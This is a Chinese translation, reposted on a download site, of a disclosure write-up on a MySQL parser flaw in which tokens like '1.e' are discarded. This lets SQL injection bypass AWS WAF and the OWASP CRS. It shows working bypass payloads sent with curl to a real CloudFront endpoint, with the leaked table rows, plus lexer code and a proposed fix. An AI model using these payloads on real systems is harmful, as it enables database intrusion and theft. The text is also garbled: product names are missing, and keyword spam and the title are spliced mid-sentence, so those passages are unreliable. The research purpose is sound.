MySQL 中的科学记数法漏洞使 AWS WAF 客户端易受 SQL 注入攻击

MySQL 中的科学记数法漏洞使 AWS WAF 客户端易受 SQL 注入攻击

道德黑客在MySQL中发现了一个具有安全问题的漏洞。该问题产生的后果是,AWS Web应用程序防火墙(AWS Web ,WAF)客户对SQL注入失去保护。我们的研究团队进一步证实也会受其影响,但正如本博客所述,保护是可以实现的。

问题发现

2013年, 在上发表了一篇题为“SQLi优化与混淆技术”的演讲,介绍了SQL注入的多种绕行技术,其中包括针对MySQL和的技术。2018年,道德黑客重提了该演示文稿,并开始在本地使用MySQL和进行一些测试。我们发现在那篇演讲中提到的科学记数法漏洞,会产生比看上去更为严重的后果。事实证明,用它可以完成一些美妙的事情——从攻击者的角度来看是美妙的。这个漏洞允许SQL语法保持有效,即使它不该有效,给安全防御造成混乱。

科学记数法,特别是e符号,已经被集成到许多编程语言中,包括SQL。不清楚是否所有SQL都这样实现,但它是MySQL/实现的一部分。下面是一个集成到SQL查询中的科学记数法示例。这实际上是2013年演示中的一个。e符号将被忽略,因为它被用于无效的上下文中。

SELECT table_name FROM information_schema 1.e.tables

因此,实际上该查询的行为与以下相同:

SELECT table_name FROM information_schema .tables

通过几项测试,我们发现可以在关键字“1.e”后面加上以下字符:

( ) . , | & % * ^ /

为了说明这个问题,我们将使用下面的示例数据集来演示:

mysql> describe test;+-------+--------------+------+-----+---------+-------+| Field | Type | | Key | Default | Extra |+-------+--------------+------+-----+---------+-------+| id | int | YES | | | || test | varchar(255) | YES | | | |+-------+--------------+------+-----+---------+-------+2 rows in set (0.01 sec)
mysql> select id, test from test;+------+-----------+| id | test |+------+-----------+| 1 | admin || 2 | usertest1 || 3 | usertest2 |+------+-----------+3 rows in set (0.00 sec)

让我们看看关键字“1.e”和该关键字后面的字符可以实现什么效果:

mysql> select id 1.1e, char 10.2e(id 2.e), concat 3.e('a'12356.e,'b'1.e,'c'1.1234e)1.e, 12 1.e*2 1.e, 12 1.e/2 1.e, 12 1.e|2 1.e, 12 1.e^2 1.e, 12 1.e%2 1.e, 12 1.e&2 from test 1.e.test;+------+----------------------------------------+------------------------------------------+----------+----------+----------+----------+----------+----------+| id | char 10.2e(id 2.e) | concat 3.e('a'12356.e,'b'1.e,'c'1.1234e) | 12 1.e*2 | 12 1.e/2 | 12 1.e|2 | 12 1.e^2 | 12 1.e%2 | 12 1.e&2 |+------+----------------------------------------+------------------------------------------+----------+----------+----------+----------+----------+----------+| 1 | 0x01 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 || 2 | 0x02 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 || 3 | 0x03 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 |+------+----------------------------------------+------------------------------------------+----------+----------+----------+----------+----------+----------+3 rows in set (0.00 sec)

上述查询等价于以下查询:

mysql> select id, char(id), concat('a','b','c'), 12*2, 12/2, 12|2, 12^2, 12%2, 12&2 from test.test;+------+--------------------+---------------------+------+--------+------+------+------+------+| id | char(id) | concat('a','b','c') | 12*2 | 12/2 | 12|2 | 12^2 | 12%2 | 12&2 |+------+--------------------+---------------------+------+--------+------+------+------+------+| 1 | 0x01 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 || 2 | 0x02 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 || 3 | 0x03 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 |+------+--------------------+---------------------+------+--------+------+------+------+------+3 rows in set (0.00 sec)

太疯狂了,对吧?让我们看一下如何在真实产品中利用此漏洞。

应该注意的是,关键字“1.e”中的数字并不重要。任何数字都可以介于点和“e”之间什么是sql注入攻击,并且点是强制性的(例如,“1337.1337e”也可行)。

滥用漏洞绕过AWS Web应用程序防火墙(WAF)

Web (AWS)有一个名为的产品,它可以与AWS WAF相结合,并具有预定义的规则,以帮助公司保护其Web应用程序免受入侵。然而,在一次接触中,我们发现AWS WAF中的“SQL数据库”规则可以绕过上一节中显示的漏洞。

一个简单的查询可以显示WAF会阻止使用著名的 1’或’1’=’1 注入来请求:

什么是sql注入攻击

$ curl -i -H "Origin: http://my-domain" -X POST  "http://d36bjalk0ud0vk.cloudfront.net/index.php" -d "x=1' or '1'='1"HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 21 Jul 2021 21:38:16 GMTContent-Type: text/htmlContent-Length: 919Connection: keep-aliveX-Cache: Error from cloudfrontVia: 1.1 828380fdf2467860fea66d7412803418.cloudfront.net (CloudFront)X-Amz-Cf-Pop: YUL62-C1X-Amz-Cf-Id: eh5LR9w1Cjccxf5JAZ4yTkrsILZL3PLjqwCQbBUD_zakHi53NPCJrg==
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">ERROR: The request could not be satisfied

403 ERROR

The request could not be satisfied.


Request blocked.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.
If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.

Generated by cloudfront (CloudFront)Request ID: eh5LR9w1Cjccxf5JAZ4yTkrsILZL3PLjqwCQbBUD_zakHi53NPCJrg==

现在我们看,如果我们在这个简单的注入中使用科学记数法,利用这个漏洞会发生什么:

$ curl -i -H "Origin: http://my-domain" -X POST  "http://d36bjalk0ud0vk.cloudfront.net/index.php" -d "x=1' or 1.e(1) or '1'='1"HTTP/1.1 200 OKContent-Type: text/html; charset=UTF-8Content-Length: 32Connection: keep-aliveDate: Wed, 21 Jul 2021 21:38:23 GMTServer: Apache/2.4.41 (Ubuntu)X-Cache: Miss from cloudfrontVia: 1.1 eae631604d5db564451a93106939a61e.cloudfront.net (CloudFront)X-Amz-Cf-Pop: YUL62-C1X-Amz-Cf-Id: TDwlolP9mvJGtcwB5vBoUGr-JRxzcX-ZLuumG9F4vioKl1L5ztPwUw==
1 admin2 usertest13 usertest2

仅上述绕过的证据就足以激发我们对该漏洞工作原因和方式的兴趣,以便正确地披露该漏洞,并向相关方展示其对安全性的影响。

漏洞调查

起初,我们没有向MySQL和透露这个漏洞,因为我们没有看到它的影响。在我们发现WAF绕行之前,它不会以任何方式影响数据,也不会让你的权限升级。现在我们找到了一个具体的安全影响,让我们了解一下这个漏洞是如何产生的,以及为什么它会这样。

请记住,以下解释特意保持简明扼要。

首先,MySQL和通过在查询中查找标记来工作,如数字、字符串、注释、行尾等。一旦代码认为它知道是什么类型的标记,就会通过发送正确的函数来解析该标记。

其次,我们要查看的代码段是整数或实数解析器,因为代码将首先到达该段:

case MY_LEX_INT_OR_REAL: // Complete int or incomplete real if (c != '.') { // Found complete integer number. yylval->lex_str = get_token(lip, 0, lip->yyLength()); return int_token(yylval->lex_str.str, (uint)yylval->lex_str.length); } // fall through

第三,代码将通过实数函数找到一个点,这就是我们想要了解的代码:

case MY_LEX_REAL: // Incomplete real number while (my_isdigit(cs, c = lip->yyGet())) ;
if (c == 'e' || c == 'E') { c = lip->yyGet(); if (c == '-' || c == '+') c = lip->yyGet(); // Skip sign if (!my_isdigit(cs, c)) { // No digit after sign state = MY_LEX_CHAR; break; } while (my_isdigit(cs, lip->yyGet())) ; yylval->lex_str = get_token(lip, 0, lip->yyLength()); return (FLOAT_NUM); } yylval->lex_str = get_token(lip, 0, lip->yyLength()); return (DECIMAL_NUM);

此时,代码已经处理了点之前的数字,并开始获取点之后的所有数字。然后,条件验证该字符是“e”或“E”,然后获取下一个字符。如果该字符不是数字,则将状态设置为“”,然后使用“break”运算符结束语句,该运算符返回到 case的开头。

最后,到达以下case语句,在这里,标记被完全遗忘并从查询中删除:

case MY_LEX_CHAR: // Unknown or single char tokencase MY_LEX_SKIP: // This should not happen if (c == '-' && lip->yyPeek() == '-' && (my_isspace(cs, lip->yyPeekn(1)) || my_iscntrl(cs, lip->yyPeekn(1)))) { state = MY_LEX_COMMENT; break; }
if (c == '-' && lip->yyPeek() == '>') // '->' { lip->yySkip(); lip->next_state = MY_LEX_START; if (lip->yyPeek() == '>') { lip->yySkip(); return JSON_UNQUOTED_SEPARATOR_SYM; } return JSON_SEPARATOR_SYM; }
if (c != ')') lip->next_state = MY_LEX_START; // Allow signed numbers
/* Check for a placeholder: it should not precede a possible identifier because of binlogging: when a placeholder is replaced with its value in a query for the binlog, the query must stay grammatically correct. */ if (c == '?' && lip->stmt_prepare_mode && !ident_map[lip->yyPeek()]) return (PARAM_MARKER);
return ((int)c);

我们通过阅读注释“ or CHAR token”可知,此时MySQL并不知道该怎么处理标记,而“”条件只是简单地下传到“”条件。在“”的条件下,函数将以返回字符结束。需要注意的一点是,如果字符不是右括号,则状态被设置为“”,这将从一个新标记开始。无论哪种方式,即使它以一个右括号结束,仍然不会返回标记,因此它会被丢弃。

候选修正方案

候选修正方案很简单,比如在标记不正确时中止查询MySQL 中的科学记数法漏洞使 AWS WAF 客户端易受 SQL 注入攻击,而不是让它通过。当MySQL或找到浮点标记的开头,并且浮点标记后面没有数字时,它应该中止查询。

if (c == 'e' || c == 'E') { c = lip->yyGet(); if (c == '-' || c == '+') c = lip->yyGet(); // Skip sign if (!my_isdigit(cs, c)) { // No digit after sign return (ABORT_SYM); // <--- Fix here! } while (my_isdigit(cs, lip->yyGet())) ; yylval->lex_str = get_token(lip, 0, lip->yyLength()); return (FLOAT_NUM);}

我们向MySQL和项目提交了修复程序。注意,这不是我们常做的事情,因为项目维护人员通常更适合修复安全问题。然而在本例中,由于这在MySQL/中本身不是一个安全问题,因此我们认为提供修复程序将增加快速解决问题的机会。此外,我个人对浏览大型C/C++代码库以发现问题所在很感兴趣。

带有安全隐患的漏洞

什么是sql注入攻击

如前所述,此问题的安全影响不在MySQL和的控制范围内。任何WAF或类似的安全产品什么是sql注入攻击,如果忽略像这样形成的SQL请求,都将容易受到攻击。情况很复杂。如果请求是畸形的,安全产品自然不会认为它们是有效的SQL,从而使它们不需要阻止。

什么是

我们首先在AWS WAF上发现了这个漏洞并报告了它。然而,我们后来决定评估MySQL 中的科学记数法漏洞使 AWS WAF 客户端易受 SQL 注入攻击,它是和nginx的流行WAF。捆绑了,我们也发现它受到这个混淆漏洞的影响。

这里演示了阻止恶意SQL注入模式的能力。检测结果显示,返回一个被禁止的页面。

什么是sql注入攻击

(使用)正在阻止SQL注入

crs_1 | 192.168.208.1 - - [08/Oct/2021:19:28:09 +0000] "GET /index.php?genre=action%27%20or%20%27%27=%27 HTTP/1.1" 403 199
crs_1 | [Fri Oct 08 19:28:40.345633 2021] [:error] [pid 218:tid 140514141660928] [client 192.168.208.1:49958] [client 192.168.208.1] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 's&sos' [file "/etc/modsecurity.d/owasp-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "65"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: s&sos found within ARGS:genre: action' or ''='"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "modsecurity"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/66"] [tag "PCI/6.5.2"] [hostname "localhost"] [uri "/index.php"] [unique_id "YWCb6EwweO7WZjrKg6GHTgAAAMk"]

日志高亮显示已触发

我们可以通过在字面表达式前加上科学记数法“1.e”来规避这种做法。在内部标记参数并标识上下文节类型,如注释和字符串。将字符串“1.e”视为一个未知的SQL关键字,并得出结论,它更可能是一个英语句子,而不是代码。当不识别SQL函数时,同样的行为也会出现。

什么是sql注入攻击

和绕行演示

当我们联系OWASP核心规则集(Core Rule Set,CRS)安全团队时,他们表示什么是sql注入攻击,如果规则集配置偏执级别至少为2级,则可以提供有效的保护,这是检测混淆攻击的建议。

时间线

结论

这个安全问题与其它许多问题不同,因为它很容易被轻视为一个简单的解析器错误。我们很高兴AWS了解了这一风险,并决定在WAF中解决这一问题,特别是因为这是一种我们以前从未见过的,使亚马逊客户可能无法得到保护的奇怪情况。

希望从长远来看,MySQL和能够修复这个bug,10年后我们将能够从WAF中删除这种奇怪的解析器行为。

特别感谢 ,他对/进行了额外的测试。

原文链接:

公告:
1. 本站所有资源来源于用户上传和网络,如有侵权请联系站长!
2. 分享目的仅供大家学习和交流,您必须在下载后24小时内删除!
3. 不得使用于非法商业用途,不得违反国家法律。否则后果自负!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长处理!
6. 本站不售卖代码,资源标价只是站长收集整理的辛苦费!如果您喜欢该程序,请支持正版软件,购买注册,得到更好的正版服务。
7. 站长QQ号码 2205675299

资源库 - 资源分享下载网 » MySQL 中的科学记数法漏洞使 AWS WAF 客户端易受 SQL 注入攻击

常见问题FAQ

关于资源售价和售后服务的说明?
本站所有资源的标价均为本站收集资源的辛苦费,不代表资源本身的价值。软件是高智慧高价值的商品,不可能是白菜价。本站资源标价只是赞助费用,收取的赞助费仅用来维持本站的日常运营!毕竟收集整理资料需要投入云计算资源和站长大量的精力。
代码有没有售后服务和技术支持?
由于代码的运行具有不可预见性,本站不保证代码完整可运行,不提供技术支持和售后服务。 本站原创代码都是站长自己开发的,可以有偿提供技术支持服务。 网站里标明【亲测】的代码都是站长亲测过的,其他的代码由于精力有限,没有一一测试,不能保证代码就一定能够使用,更没有技术支持服务,下载前请自行斟酌。
有没有搭建服务?
由于搭建服务比较费时费力,所以本站除了原创代码外均不提供搭建服务。本站分享代码纯属兴趣爱好,不以盈利为目的,请勿咨询有没有搭建服务,谢谢理解。
链接地址失效了怎么办?
请带上资源链接地址联系客服,工作时间内我们看到后将第一时间回复。
关于解压密码
本站资源一般都没有加密,如果发现需要解压密码的,那么就输入 hao.35dc.com 试试。

发表评论

资源库,由老程序员细心甄别、精心筛选,只为提供优质的源码资源

关于我们 联系我们